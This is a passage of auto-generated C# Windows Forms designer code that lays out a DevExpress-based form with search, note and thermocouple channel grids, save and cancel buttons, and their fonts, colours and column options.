this.noteCompanyEdit.TabIndex = 0;
//
// label8
//
this.label8.Location = new System.Drawing.Point(9, 40);
this.label8.Name = "label8";
this.label8.Size = new System.Drawing.Size(76, 22);
this.label8.TabIndex = 12;
this.label8.Text = "Company";
this.label8.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// noteTitlePanel
//
this.noteTitlePanel.BackColor = System.Drawing.Color.Gray;
this.noteTitlePanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.noteTitlePanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.noteTitlePanel.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteTitlePanel.ForeColor = System.Drawing.Color.White;
this.noteTitlePanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.noteTitlePanel.InnerColor2 = System.Drawing.Color.White;
this.noteTitlePanel.Location = new System.Drawing.Point(6, 6);
this.noteTitlePanel.Name = "noteTitlePanel";
this.noteTitlePanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.noteTitlePanel.OuterColor2 = System.Drawing.Color.White;
this.noteTitlePanel.Size = new System.Drawing.Size(222, 28);
this.noteTitlePanel.Spacing = 0;
this.noteTitlePanel.TabIndex = 5;
this.noteTitlePanel.Text = "NOTE";
this.noteTitlePanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.noteTitlePanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// menuPanel
//
this.menuPanel.BackColor = System.Drawing.Color.Silver;
this.menuPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.menuPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.menuPanel.Controls.Add(this.saveButton);
this.menuPanel.Controls.Add(this.cancelButton);
this.menuPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.menuPanel.InnerColor2 = System.Drawing.Color.White;
this.menuPanel.Location = new System.Drawing.Point(1732, 0);
this.menuPanel.Name = "menuPanel";
this.menuPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.menuPanel.OuterColor2 = System.Drawing.Color.White;
this.menuPanel.Size = new System.Drawing.Size(84, 915);
this.menuPanel.Spacing = 0;
this.menuPanel.TabIndex = 10;
this.menuPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.menuPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// saveButton
//
this.saveButton.AllowFocus = false;
this.saveButton.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.saveButton.Appearance.Options.UseBorderColor = true;
this.saveButton.Appearance.Options.UseFont = true;
this.saveButton.Appearance.Options.UseTextOptions = true;
this.saveButton.Appearance.TextOptions.VAlignment = DevExpress.Utils.VertAlignment.Bottom;
this.saveButton.ImageOptions.Image = ((System.Drawing.Image)(resources.GetObject("saveButton.ImageOptions.Image")));
this.saveButton.ImageOptions.ImageToTextAlignment = DevExpress.XtraEditors.ImageAlignToText.TopCenter;
this.saveButton.ImageOptions.ImageToTextIndent = 12;
this.saveButton.Location = new System.Drawing.Point(2, 795);
this.saveButton.Name = "saveButton";
this.saveButton.Size = new System.Drawing.Size(80, 58);
this.saveButton.TabIndex = 21;
this.saveButton.TabStop = false;
this.saveButton.Text = "Save";
this.saveButton.Click += new System.EventHandler(this.saveButton_Click);
//
// cancelButton
//
this.cancelButton.AllowFocus = false;
this.cancelButton.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cancelButton.Appearance.Options.UseBorderColor = true;
this.cancelButton.Appearance.Options.UseFont = true;
this.cancelButton.Appearance.Options.UseTextOptions = true;
this.cancelButton.Appearance.TextOptions.VAlignment = DevExpress.Utils.VertAlignment.Bottom;
this.cancelButton.ImageOptions.Image = ((System.Drawing.Image)(resources.GetObject("cancelButton.ImageOptions.Image")));
this.cancelButton.ImageOptions.ImageToTextAlignment = DevExpress.XtraEditors.ImageAlignToText.TopCenter;
this.cancelButton.ImageOptions.ImageToTextIndent = 10;
this.cancelButton.Location = new System.Drawing.Point(2, 855);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(80, 58);
this.cancelButton.TabIndex = 20;
this.cancelButton.TabStop = false;
this.cancelButton.Text = "Cancel";
this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click);
//
// searchPanel
//
this.searchPanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.searchPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.searchPanel.Controls.Add(this.deleteButton);
this.searchPanel.Controls.Add(this.copyButton);
this.searchPanel.Controls.Add(this.modifyButton);
this.searchPanel.Controls.Add(this.newButton);
this.searchPanel.Controls.Add(this.conditionGrid);
this.searchPanel.Controls.Add(this.searchButton);
this.searchPanel.Controls.Add(this.makerEdit);
this.searchPanel.Controls.Add(this.label4);
this.searchPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.searchPanel.InnerColor2 = System.Drawing.Color.White;
this.searchPanel.Location = new System.Drawing.Point(0, 0);
this.searchPanel.Name = "searchPanel";
this.searchPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.searchPanel.OuterColor2 = System.Drawing.Color.White;
this.searchPanel.Size = new System.Drawing.Size(400, 578);
this.searchPanel.Spacing = 0;
this.searchPanel.TabIndex = 0;
this.searchPanel.TabStop = true;
this.searchPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.searchPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// deleteButton
//
this.deleteButton.Image = ((System.Drawing.Image)(resources.GetObject("deleteButton.Image")));
this.deleteButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.deleteButton.Location = new System.Drawing.Point(298, 34);
this.deleteButton.Name = "deleteButton";
this.deleteButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.deleteButton.Size = new System.Drawing.Size(96, 24);
this.deleteButton.TabIndex = 5;
this.deleteButton.Text = " Delete";
this.deleteButton.UseVisualStyleBackColor = true;
this.deleteButton.Click += new System.EventHandler(this.deleteButton_Click);
//
// copyButton
//
this.copyButton.Image = ((System.Drawing.Image)(resources.GetObject("copyButton.Image")));
this.copyButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.copyButton.Location = new System.Drawing.Point(201, 34);
this.copyButton.Name = "copyButton";
this.copyButton.Size = new System.Drawing.Size(95, 24);
this.copyButton.TabIndex = 4;
this.copyButton.Text = " Copy";
this.copyButton.UseVisualStyleBackColor = true;
this.copyButton.Click += new System.EventHandler(this.copyButton_Click);
//
// modifyButton
//
this.modifyButton.Image = ((System.Drawing.Image)(resources.GetObject("modifyButton.Image")));
this.modifyButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.modifyButton.Location = new System.Drawing.Point(103, 34);
this.modifyButton.Name = "modifyButton";
this.modifyButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.modifyButton.Size = new System.Drawing.Size(96, 24);
this.modifyButton.TabIndex = 3;
this.modifyButton.Text = " Modify";
this.modifyButton.UseVisualStyleBackColor = true;
this.modifyButton.Click += new System.EventHandler(this.modifyButton_Click);
//
// newButton
//
this.newButton.Image = ((System.Drawing.Image)(resources.GetObject("newButton.Image")));
this.newButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.newButton.Location = new System.Drawing.Point(6, 34);
this.newButton.Name = "newButton";
this.newButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.newButton.Size = new System.Drawing.Size(95, 24);
this.newButton.TabIndex = 2;
this.newButton.Text = " New";
this.newButton.UseVisualStyleBackColor = true;
this.newButton.Click += new System.EventHandler(this.newButton_Click);
//
// conditionGrid
//
this.conditionGrid.Location = new System.Drawing.Point(6, 62);
this.conditionGrid.MainView = this.conditionGridView;
this.conditionGrid.Name = "conditionGrid";
this.conditionGrid.Size = new System.Drawing.Size(388, 510);
this.conditionGrid.TabIndex = 6;
this.conditionGrid.TabStop = false;
this.conditionGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.conditionGridView});
this.conditionGrid.DoubleClick += new System.EventHandler(this.conditionGrid_DoubleClick);
//
// conditionGridView
//
this.conditionGridView.ActiveFilterEnabled = false;
this.conditionGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.FixedLine.Options.UseFont = true;
this.conditionGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.conditionGridView.Appearance.FocusedCell.Options.UseFont = true;
this.conditionGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.FocusedRow.Options.UseFont = true;
this.conditionGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.conditionGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.conditionGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.OddRow.Options.UseFont = true;
this.conditionGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.Preview.Options.UseFont = true;
this.conditionGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.Row.Options.UseFont = true;
this.conditionGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.SelectedRow.Options.UseFont = true;
this.conditionGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.conditionGridView.Appearance.ViewCaption.Options.UseFont = true;
this.conditionGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.cgMakerColumn,
this.cgModel1Column,
this.cgSerial1Column});
this.conditionGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.conditionGridView.GridControl = this.conditionGrid;
this.conditionGridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.conditionGridView.Name = "conditionGridView";
this.conditionGridView.OptionsBehavior.Editable = false;
this.conditionGridView.OptionsBehavior.ReadOnly = true;
this.conditionGridView.OptionsFilter.AllowAutoFilterConditionChange = DevExpress.Utils.DefaultBoolean.False;
this.conditionGridView.OptionsFilter.AllowFilterEditor = false;
this.conditionGridView.OptionsView.ColumnAutoWidth = false;
this.conditionGridView.OptionsView.ShowGroupPanel = false;
this.conditionGridView.OptionsView.ShowIndicator = false;
this.conditionGridView.Tag = 1;
this.conditionGridView.FocusedRowChanged += new DevExpress.XtraGrid.Views.Base.FocusedRowChangedEventHandler(this.conditionGridView_FocusedRowChanged);
//
// cgMakerColumn
//
this.cgMakerColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgMakerColumn.AppearanceCell.Options.UseFont = true;
this.cgMakerColumn.AppearanceCell.Options.UseTextOptions = true;
this.cgMakerColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.cgMakerColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgMakerColumn.AppearanceHeader.Options.UseFont = true;
this.cgMakerColumn.AppearanceHeader.Options.UseTextOptions = true;
this.cgMakerColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.cgMakerColumn.Caption = "Maker";
this.cgMakerColumn.FieldName = "MAKER";
this.cgMakerColumn.Name = "cgMakerColumn";
this.cgMakerColumn.OptionsColumn.AllowEdit = false;
this.cgMakerColumn.OptionsColumn.AllowFocus = false;
this.cgMakerColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgMakerColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgMakerColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgMakerColumn.OptionsColumn.AllowMove = false;
this.cgMakerColumn.OptionsColumn.AllowShowHide = false;
this.cgMakerColumn.OptionsColumn.AllowSize = false;
this.cgMakerColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgMakerColumn.OptionsColumn.FixedWidth = true;
this.cgMakerColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgMakerColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgMakerColumn.OptionsColumn.ReadOnly = true;
this.cgMakerColumn.OptionsColumn.TabStop = false;
this.cgMakerColumn.OptionsFilter.AllowAutoFilter = false;
this.cgMakerColumn.OptionsFilter.AllowFilter = false;
this.cgMakerColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.cgMakerColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.cgMakerColumn.Visible = true;
this.cgMakerColumn.VisibleIndex = 0;
this.cgMakerColumn.Width = 121;
//
// cgModel1Column
//
this.cgModel1Column.Caption = "Model(1)";
this.cgModel1Column.FieldName = "MODEL1";
this.cgModel1Column.Name = "cgModel1Column";
this.cgModel1Column.OptionsColumn.AllowEdit = false;
this.cgModel1Column.OptionsColumn.AllowFocus = false;
this.cgModel1Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgModel1Column.OptionsColumn.AllowIncrementalSearch = false;
this.cgModel1Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgModel1Column.OptionsColumn.AllowMove = false;
this.cgModel1Column.OptionsColumn.AllowShowHide = false;
this.cgModel1Column.OptionsColumn.AllowSize = false;
this.cgModel1Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgModel1Column.OptionsColumn.FixedWidth = true;
this.cgModel1Column.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgModel1Column.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgModel1Column.OptionsColumn.ReadOnly = true;
this.cgModel1Column.OptionsFilter.AllowAutoFilter = false;
this.cgModel1Column.OptionsFilter.AllowFilter = false;
this.cgModel1Column.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.cgModel1Column.OptionsFilter.ShowEmptyDateFilter = false;
this.cgModel1Column.Visible = true;
this.cgModel1Column.VisibleIndex = 1;
this.cgModel1Column.Width = 121;
//
// cgSerial1Column
//
this.cgSerial1Column.Caption = "Serial No(1)";
this.cgSerial1Column.FieldName = "SERIAL1";
this.cgSerial1Column.Name = "cgSerial1Column";
this.cgSerial1Column.OptionsColumn.AllowEdit = false;
this.cgSerial1Column.OptionsColumn.AllowFocus = false;
this.cgSerial1Column.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgSerial1Column.OptionsColumn.AllowIncrementalSearch = false;
this.cgSerial1Column.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgSerial1Column.OptionsColumn.AllowMove = false;
this.cgSerial1Column.OptionsColumn.AllowShowHide = false;
this.cgSerial1Column.OptionsColumn.AllowSize = false;
this.cgSerial1Column.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgSerial1Column.OptionsColumn.FixedWidth = true;
this.cgSerial1Column.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgSerial1Column.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgSerial1Column.OptionsColumn.ReadOnly = true;
this.cgSerial1Column.OptionsFilter.AllowAutoFilter = false;
this.cgSerial1Column.OptionsFilter.AllowFilter = false;
this.cgSerial1Column.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.cgSerial1Column.OptionsFilter.ShowEmptyDateFilter = false;
this.cgSerial1Column.Visible = true;
this.cgSerial1Column.VisibleIndex = 2;
this.cgSerial1Column.Width = 121;
//
// searchButton
//
this.searchButton.Image = ((System.Drawing.Image)(resources.GetObject("searchButton.Image")));
this.searchButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.searchButton.Location = new System.Drawing.Point(298, 7);
this.searchButton.Name = "searchButton";
this.searchButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.searchButton.Size = new System.Drawing.Size(96, 24);
this.searchButton.TabIndex = 1;
this.searchButton.Text = " Find";
this.searchButton.UseVisualStyleBackColor = true;
this.searchButton.Click += new System.EventHandler(this.searchButton_Click);
//
// makerEdit
//
this.makerEdit.EditValue = "";
this.makerEdit.EnterMoveNextControl = true;
this.makerEdit.Location = new System.Drawing.Point(78, 8);
this.makerEdit.Name = "makerEdit";
this.makerEdit.Properties.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.makerEdit.Properties.Appearance.Options.UseFont = true;
this.makerEdit.Properties.MaxLength = 50;
this.makerEdit.Size = new System.Drawing.Size(218, 22);
this.makerEdit.TabIndex = 0;
//
// label4
//
this.label4.Location = new System.Drawing.Point(7, 8);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(65, 22);
this.label4.TabIndex = 79;
this.label4.Text = "Maker";
this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// thermoPanel
//
this.thermoPanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.thermoPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.thermoPanel.Controls.Add(this.thermoTagGrid);
this.thermoPanel.Controls.Add(this.thermo3Grid);
this.thermoPanel.Controls.Add(this.thermo2Grid);
this.thermoPanel.Controls.Add(this.thermo1Grid);
this.thermoPanel.Controls.Add(this.thermoTitlePanel);
this.thermoPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.thermoPanel.InnerColor2 = System.Drawing.Color.White;
this.thermoPanel.Location = new System.Drawing.Point(646, 0);
this.thermoPanel.Name = "thermoPanel";
this.thermoPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.thermoPanel.OuterColor2 = System.Drawing.Color.White;
this.thermoPanel.Size = new System.Drawing.Size(850, 915);
this.thermoPanel.Spacing = 0;
this.thermoPanel.TabIndex = 11;
this.thermoPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.thermoPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// thermoTagGrid
//
this.thermoTagGrid.Location = new System.Drawing.Point(660, 40);
this.thermoTagGrid.MainView = this.thermoTagGridView;
this.thermoTagGrid.Name = "thermoTagGrid";
this.thermoTagGrid.Size = new System.Drawing.Size(184, 869);
this.thermoTagGrid.TabIndex = 3;
this.thermoTagGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.thermoTagGridView});
//
// thermoTagGridView
//
this.thermoTagGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.FixedLine.Options.UseFont = true;
this.thermoTagGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.FocusedRow.Options.UseFont = true;
this.thermoTagGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.thermoTagGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.thermoTagGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.OddRow.Options.UseFont = true;
this.thermoTagGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.Preview.Options.UseFont = true;
this.thermoTagGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.Row.Options.UseFont = true;
this.thermoTagGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.SelectedRow.Options.UseFont = true;
this.thermoTagGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.thermoTagGridView.Appearance.ViewCaption.Options.UseFont = true;
this.gridBehavior.SetBehaviors(this.thermoTagGridView, new DevExpress.Utils.Behaviors.Behavior[] {
((DevExpress.Utils.Behaviors.Behavior)(DevExpress.Utils.DragDrop.DragDropBehavior.Create(typeof(DevExpress.XtraGrid.Extensions.ColumnViewDragDropSource), false, false, true, this.thermoTagGridDragDropEvents1)))});
this.thermoTagGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.thermoTagNameColumn});
this.thermoTagGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.thermoTagGridView.GridControl = this.thermoTagGrid;
this.thermoTagGridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.thermoTagGridView.Name = "thermoTagGridView";
this.thermoTagGridView.OptionsView.ColumnAutoWidth = false;
this.thermoTagGridView.OptionsView.ShowGroupPanel = false;
this.thermoTagGridView.OptionsView.ShowIndicator = false;
this.thermoTagGridView.Tag = 1;
this.thermoTagGridView.CustomDrawColumnHeader += new DevExpress.XtraGrid.Views.Grid.ColumnHeaderCustomDrawEventHandler(this.thermoTagGridView_CustomDrawColumnHeader);
//
// thermoTagNameColumn
//
this.thermoTagNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermoTagNameColumn.AppearanceCell.Options.UseFont = true;
this.thermoTagNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.thermoTagNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.thermoTagNameColumn.AppearanceHeader.BackColor = System.Drawing.Color.PaleGoldenrod;
this.thermoTagNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermoTagNameColumn.AppearanceHeader.Options.UseBackColor = true;
this.thermoTagNameColumn.AppearanceHeader.Options.UseFont = true;
this.thermoTagNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.thermoTagNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermoTagNameColumn.Caption = "Name Tags";
this.thermoTagNameColumn.FieldName = "Value";
this.thermoTagNameColumn.Name = "thermoTagNameColumn";
this.thermoTagNameColumn.OptionsColumn.AllowEdit = false;
this.thermoTagNameColumn.OptionsColumn.AllowFocus = false;
this.thermoTagNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.thermoTagNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.thermoTagNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.thermoTagNameColumn.OptionsColumn.AllowMove = false;
this.thermoTagNameColumn.OptionsColumn.AllowShowHide = false;
this.thermoTagNameColumn.OptionsColumn.AllowSize = false;
this.thermoTagNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.thermoTagNameColumn.OptionsColumn.FixedWidth = true;
this.thermoTagNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.thermoTagNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.thermoTagNameColumn.OptionsColumn.ReadOnly = true;
this.thermoTagNameColumn.OptionsColumn.TabStop = false;
this.thermoTagNameColumn.OptionsFilter.AllowAutoFilter = false;
this.thermoTagNameColumn.OptionsFilter.AllowFilter = false;
this.thermoTagNameColumn.Visible = true;
this.thermoTagNameColumn.VisibleIndex = 0;
this.thermoTagNameColumn.Width = 164;
//
// thermo3Grid
//
this.thermo3Grid.Location = new System.Drawing.Point(442, 40);
this.thermo3Grid.MainView = this.thermo3GridView;
this.thermo3Grid.Name = "thermo3Grid";
this.thermo3Grid.Size = new System.Drawing.Size(214, 869);
this.thermo3Grid.TabIndex = 2;
this.thermo3Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.thermo3GridView});
//
// thermo3GridView
//
this.thermo3GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.FixedLine.Options.UseFont = true;
this.thermo3GridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo3GridView.Appearance.FocusedCell.Options.UseFont = true;
this.thermo3GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.FocusedRow.Options.UseFont = true;
this.thermo3GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.thermo3GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.thermo3GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.OddRow.Options.UseFont = true;
this.thermo3GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.Preview.Options.UseFont = true;
this.thermo3GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.Row.Options.UseFont = true;
this.thermo3GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.SelectedRow.Options.UseFont = true;
this.thermo3GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.thermo3GridView.Appearance.ViewCaption.Options.UseFont = true;
this.gridBehavior.SetBehaviors(this.thermo3GridView, new DevExpress.Utils.Behaviors.Behavior[] {
((DevExpress.Utils.Behaviors.Behavior)(DevExpress.Utils.DragDrop.DragDropBehavior.Create(typeof(DevExpress.XtraGrid.Extensions.ColumnViewDragDropSource), false, false, true, this.thermo3GridDragDropEvents)))});
this.thermo3GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.thermo3NoColumn,
this.thermo3NameColumn});
this.thermo3GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.thermo3GridView.GridControl = this.thermo3Grid;
this.thermo3GridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.thermo3GridView.Name = "thermo3GridView";
this.thermo3GridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.thermo3GridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.thermo3GridView.OptionsClipboard.CopyColumnHeaders = DevExpress.Utils.DefaultBoolean.False;
this.thermo3GridView.OptionsNavigation.EnterMoveNextColumn = true;
this.thermo3GridView.OptionsSelection.MultiSelect = true;
this.thermo3GridView.OptionsView.ColumnAutoWidth = false;
this.thermo3GridView.OptionsView.ShowGroupPanel = false;
this.thermo3GridView.OptionsView.ShowIndicator = false;
this.thermo3GridView.Tag = 1;
//
// thermo3NoColumn
//
this.thermo3NoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo3NoColumn.AppearanceCell.Options.UseFont = true;
this.thermo3NoColumn.AppearanceCell.Options.UseTextOptions = true;
this.thermo3NoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo3NoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.thermo3NoColumn.AppearanceHeader.Options.UseFont = true;
this.thermo3NoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.thermo3NoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.thermo3NoColumn.Caption = "No";
this.thermo3NoColumn.DisplayFormat.FormatString = "{0:d2}";
this.thermo3NoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.thermo3NoColumn.FieldName = "No";
this.thermo3NoColumn.Name = "thermo3NoColumn";
this.thermo3NoColumn.OptionsColumn.AllowEdit = false;
